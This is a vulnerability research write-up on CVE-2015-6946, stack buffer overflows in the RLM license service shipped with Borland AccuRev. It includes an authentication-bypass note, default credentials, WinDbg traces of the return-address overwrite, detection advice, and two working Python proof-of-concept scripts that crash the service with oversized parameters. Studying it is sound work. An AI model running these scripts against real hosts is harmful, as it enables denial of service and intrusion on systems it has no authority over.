Intro
In this writeup, I will explain how I wrote a Proof of Concept exploit for CVE-2015-6946:
“Multiple stack-based buffer overflows in the Reprise License Manager service in Borland AccuRev allow remote attackers to execute arbitrary code via the (1) akey or (2) actserver parameter to the the activate_doit function or (3) licfile parameter to the service_startup_doit functionality.”
The Product
“AccuRev is a software configuration management tool which addresses complex parallel and distributed development environments with its stream-based architecture, to accelerate your development process and improve asset reuse.”
The Borland AccuRev suite is adopted by well-known companies such as Bet365, SanDisk, McAfee and more. It is on the market since 2002 and well-positioned against other high-profile SCM products.
The software follows a client-server architecture and both components (server and client) are compatible with multiple operating systems including Windows, Linux, Solaris and Mac OSX (client only) and are distributed in 32 and 64 bit versions.
The affected versions of the product are version 6.2.2 and before.
The following document describes a scenario in which the software is installed on a Windows Server 2008 R2 64bit machine with the Windows Firewall configured to allow traffic on TCP port 5054.
The vulnerability
The CVE includes 3 different vulnerabilities in the RLM service installed by the Borland AccuRev suite, and lists affected parameters and function names.
More information can be found here:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6946
http://www.zerodayinitiative.com/advisories/ZDI-15-412
http://www.zerodayinitiative.com/advisories/ZDI-15-414
http://www.zerodayinitiative.com/advisories/ZDI-15-416
AccuRev on Windows Systems
As the name of the service suggests, the binary is called “rlm.exe” and is located inside the AccuRev installation folder.
The service is running under SYSTEM privileges, which means that successful exploitation may lead to a complete compromise of the target host.
The binary was also compiled without DEP/NX and PIE flags:
By doing a simple search for the “akey” string (one of the parameter mentioned in the CVE description) in the binary shows that this parameter is used as part of a webpage, which means that the way to trigger the vulnerability is probably through HTTP requests.
The service is listening on port 5054. The webpage is pretty simple and displays a login form where you are prompted for username and password to be able to access the restricted area.
As we found out, this form can be easily bypassed by browsing directly to the pages in the “authenticated area”. (The default credentials are admin:admin)
The interesting pages are:
- Activate License, that sends data to “/goform/activate_doit”; and
- Manage Windows Service, that interacts with “/goform/service_setup_doit” (this functionality is apparently NOT available in Linux)
Since the different vulnerabilities could be triggered using the same principle and logics, in this post I will only describe how the “akey” parameter in the “activate_doit” functionality can be used to overflow its buffer and alter the return value of the corresponding stack frame.
I wrote a custom Python fuzzer to identify the length of the payload needed to overflow the “akey” buffer. A string with 1000 bytes seems to be enough to trigger the overflow:
The cause of this vulnerability was found to be in the subroutine located at memory address 0046D480 (called by another subroutine at 0046D600), which performs an “sprintf” call to construct a particular string (html input element) with the data inserted by the user and save the result on the stack.
As shown in the following screenshots, this function is used more than once to reconstruct multiple hidden “input” HTML elements using all the values sent through the POST request to “/goform/activate_doit”.
The R8 register contains the key (parameter name), while R9 the value from the user. RDX is used as the “format” value of the sprintf function.
When the akey parameter is processed, the value is copied into the stack, overflows the buffer and partially overwrite the return address of the stack frame. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.
!exploitable
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)
An overrun of a protected stack buffer is detected. A stack canary is protecting the software from being exploited using return address overwrites.
Some techniques to bypass this protection:
- Stack canary value information leakage (rare, and exploitable only in particular situations)
- Stack canary value guessing (as these values are non-static the only way would be to brute-force them, which in this case is not possible since the software would crash on failed exploitation attempts and require manual restart each time)
- SEH pointers overwrite, which is currently exploitable only on 32bit systems due to architectural differences between the two platforms.
The server component of AccuRev is compatible only on 64bit systems thus making the vulnerability hard to turn into a remote code execution. However, further analysis of the binary might reveal other conditions that can help the attacker bypassing the mitigations in place and obtain full control of the target host.
AccuRev on Linux Systems
The situation is different on Linux servers (32 or 64bits) where stack canaries are not present and the attacker can control part of the return address. The partial overwrite is due to 2 characters appended to the user input (“>), which are the terminators of the input HTML element saved on the stack by the sprintf function.
Detection and Mitigations
The attack is performed over HTTP protocol. Malicious requests can be detected by analyzing the HTTP requests to the RLM service and identify parameter names corresponding to the one described in the CVE (“akey”, “actserver” and “licfile”). The length of the value of these parameters should be verified and the request dropped if above what is considered a normal threshold (256 bytes should probably be enough for all these parameters).
An additional mitigation would be to allow only printable characters as the values of the “actserver” and “licfile” parameters.
Summary
- A total of 3 different stack based buffer overflow vulnerabilities affect the RLM service installed by default by the Borland AccuRev server software.
- All the vulnerabilities can be triggered remotely by an attacker that has access to TCP port 5054 (with default settings) on the target server.
- Successful exploitation may lead to denial of service conditions or potentially remote code execution.
- Exploitation is mitigated by the “/GS” buffer security checks (aka stack cookies/canaries).
- The vulnerability in “licfile” cannot be triggered in Linux system since the “goform/service_setup_doit” is not available.
Scripts
The following are two different PoC python scripts that can be used to replicate the issue:
import urllib
import httplib
import sys
WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)
Multiple stack-based buffer overflows in the Reprise License Manager service
in Borland AccuRev allow remote attackers to execute arbitrary code via the
(1) akey or (2) actserver parameter to the the activate_doit function or
(3) licfile parameter to the service_startup_doit functionality.
akey will be used in this PoC
Use payload length of 1000 for Windows systems, 984 for Linux
CVE-2015-6946
------------------------------------------------------------------
'''
HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1000
'''.format(sys.argv[0])
print WELCOME
if (len(sys.argv) < 3):
print HELP
exit(-1)
target = sys.argv[1]
length = int(sys.argv[2])
p = {
'actserver' : 'www.reprisesoftware.com', # this parameter is also vulnerable
# same length as akey for the payload
'isv' : 'reprise',
'akey' : 'A'* length,
'hostid' : 'hostid',
'count' : '1',
'lf' : 'C:\Windows\junk',
'ok' : 'REQUEST+LICENSE'
}
# All the parameters from the original POST request
try:
print "[*] Trying to connect to %s" % target
http_con = httplib.HTTPConnection(target + ":5054")
http_con.request("GET", "/goform/activate_doit?%s" % urllib.urlencode(p))
except:
print "[-] Connection failed"
exit(-1)
print "[+] Request sent"
'''
Windows:
970 bytes will overwrite cookie and triggers the stack protection mechanism
1000 bytes will partially overwrite the return address
1004 bytes will completely overwrite the return address but the flow of the program
will cause a read access error to an invalid memory address (another function is
called just after the sprintf when the payload is over 1000 bytes)
0:007> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff call rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4ce8 61 63 74 73 65 72 76 65-72 00 00 00 69 73 76 00 actserver...isv.
00000000`005c4cf8 61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00 akey....hostid..
00000000`005c4d08 63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00 count...lf......
00000000`005c4d18 3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62 <br><br><br><tab
00000000`005c4d28 6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e le><tr align=cen
00000000`005c4d38 74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70 ter>....<td><inp
00000000`005c4d48 75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20 ut class=button
00000000`005c4d58 74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65 type=submit name
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff call rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf4 69 73 76 00 61 6b 65 79-00 00 00 00 68 6f 73 74 isv.akey....host
00000000`005c4d04 69 64 00 00 63 6f 75 6e-74 00 00 00 6c 66 00 00 id..count...lf..
00000000`005c4d14 00 00 00 00 3c 62 72 3e-3c 62 72 3e 3c 62 72 3e ....<br><br><br>
00000000`005c4d24 3c 74 61 62 6c 65 3e 3c-74 72 20 61 6c 69 67 6e <table><tr align
00000000`005c4d34 3d 63 65 6e 74 65 72 3e-00 00 00 00 3c 74 64 3e =center>....<td>
00000000`005c4d44 3c 69 6e 70 75 74 20 63-6c 61 73 73 3d 62 75 74 <input class=but
00000000`005c4d54 74 6f 6e 20 74 79 70 65-3d 73 75 62 6d 69 74 20 ton type=submit
00000000`005c4d64 6e 61 6d 65 3d 6f 6b 20-76 61 6c 75 65 3d 22 25 name=ok value="%
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff call rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf8 61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00 akey....hostid..
00000000`005c4d08 63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00 count...lf......
00000000`005c4d18 3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62 <br><br><br><tab
00000000`005c4d28 6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e le><tr align=cen
00000000`005c4d38 74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70 ter>....<td><inp
00000000`005c4d48 75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20 ut class=button
00000000`005c4d58 74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65 type=submit name
00000000`005c4d68 3d 6f 6b 20 76 61 6c 75-65 3d 22 25 73 22 3e 3c =ok value="%s"><
0:005> k
Child-SP RetAddr Call Site
00000000`0199c120 00000000`0042a26e rlm+0x6d63d
00000000`0199c560 00000000`0042a120 rlm+0x2a26e
00000000`0199c590 00000000`0042d214 rlm+0x2a120
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> p
rlm+0x6d642:
00000000`0046d642 488d542430 lea rdx,[rsp+30h]
0:005> k
Child-SP RetAddr Call Site
00000000`0199c120 41414141`41414141 rlm+0x6d642
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> g
(42c.bb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rlm+0xcd632:
00000000`004cd632 8b8820010000 mov ecx,dword ptr [rax+120h] ds:00000000`00003f42=????????
0:005> g
STATUS_STACK_BUFFER_OVERRUN encountered
(42c.bb8): Break instruction exception - code 80000003 (first chance)
kernel32!UnhandledExceptionFilter+0x71:
00000000`76c593a1 cc int 3
0:005> k
Child-SP RetAddr Call Site
00000000`0199b0d0 00000000`00578c8b kernel32!UnhandledExceptionFilter+0x71
00000000`0199b1b0 00000000`0056a44d rlm+0x178c8b
00000000`0199b240 00000000`76d09d0d rlm+0x16a44d
00000000`0199b270 00000000`76cf91af ntdll!RtlpExecuteHandlerForException+0xd
00000000`0199b2a0 00000000`76d31278 ntdll!RtlDispatchException+0x45a
00000000`0199b980 00000000`004cd632 ntdll!KiUserExceptionDispatcher+0x2e
00000000`0199c080 00000000`004cd5b2 rlm+0xcd632
00000000`0199c0d0 00000000`0046d654 rlm+0xcd5b2
00000000`0199c120 41414141`41414141 rlm+0x6d654
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> !exploitable
!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)
An overrun of a protected stack buffer has been detected. This is considered exploitable, and must be fixed.
'''
import urllib
import httplib
import sys
WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)
Multiple stack-based buffer overflows in the Reprise License Manager service
in Borland AccuRev allow remote attackers to execute arbitrary code via the
(1) akey or (2) actserver parameter to the the activate_doit function or
(3) licfile parameter to the service_startup_doit functionality.
licfile will be used in this PoC (Windows system only)
Use payload length of 1020 to trigger the overflow
CVE-2015-6946
------------------------------------------------------------------
'''
HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1020
'''.format(sys.argv[0])
print WELCOME
if (len(sys.argv) < 3):
print HELP
exit(-1)
target = sys.argv[1]
length = int(sys.argv[2])
p = {
'action' : '1',
'servicename' : 'rlm',
'servicedesc' : 'RLM+License+Server',
'debuglog' : 'rlm.log',
'licfile' : 'A'* length,
'wsport' : '',
'delay' : '0',
'ok' : 'Apply'
}
# Parameters from the original POST request
try:
print "[*] Trying to connect to %s" % target
http_con = httplib.HTTPConnection(target + ":5054")
http_con.request("POST", "/goform/service_setup_doit", urllib.urlencode(p))
except:
print "[-] Connection failed"
exit(-1)
print "[+] Request sent"